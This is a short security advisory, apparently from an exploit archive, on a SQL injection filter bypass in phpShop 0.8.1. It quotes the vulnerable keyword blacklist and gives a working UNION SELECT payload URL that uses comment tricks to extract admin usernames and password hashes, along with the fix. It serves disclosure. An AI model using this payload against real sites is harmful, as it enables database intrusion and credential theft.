phpShop <= v 0.8.1 Remote SQL injection / Filter Bypass

2008.02.12
Credit: theredc0ders
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Vendor : PHPShop Webiste : http://www.phpshop.org Version : v0.8.1 Author: the redc0ders / theredc0ders[at]gmail[dot]com Condition: magic_quote_gpc = off , in php.ini setting Details : ========== Vulnerable Code in index.php near lines 98 - 128 [code] // basic SQL inject detection $my_insecure_array = array('keyword' => $_REQUEST['keyword'], 'category_id' => $_REQUEST['category_id'], 'product_id' => $_REQUEST['product_id'], 'user_id' => $_REQUEST['user_id'], 'user_info_id' => $_REQUEST['user_info_id'], 'page' => $_REQUEST['page'], 'func' => $_REQUEST['func']); while(list($key,$value)=each($my_insecure_array)) { if (stristr($value,'FROM ') || stristr($value,'UPDATE ') || stristr($value,'WHERE ') || stristr($value,'ALTER ') || stristr($value,'SELECT ') || stristr($value,'SHUTDOWN ') || stristr($value,'CREATE ') || stristr($value,'DROP ') || stristr($value,'DELETE FROM') || stristr($value,'script') || stristr($value,'<>') || stristr($value,'=') || stristr($value,'SET ')) die('Please provide a permitted value for '.$key); } [/code] The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc so WORD+space, and this can be easily bypassed using comments like POC : select/**/input1,input2... Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3'+UNION+select/** /null,null,null,null,null,password,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,username/**/from/**/auth _user_md5/* Solution : simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini Greetz : Hacker1 - ToXiC350 - S4MI - Miyyet - Pynsso - Amigo_BM and All Moroccan Hackers =) From Morocco : JIB L3EZZ WELLA K7AZZ !


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top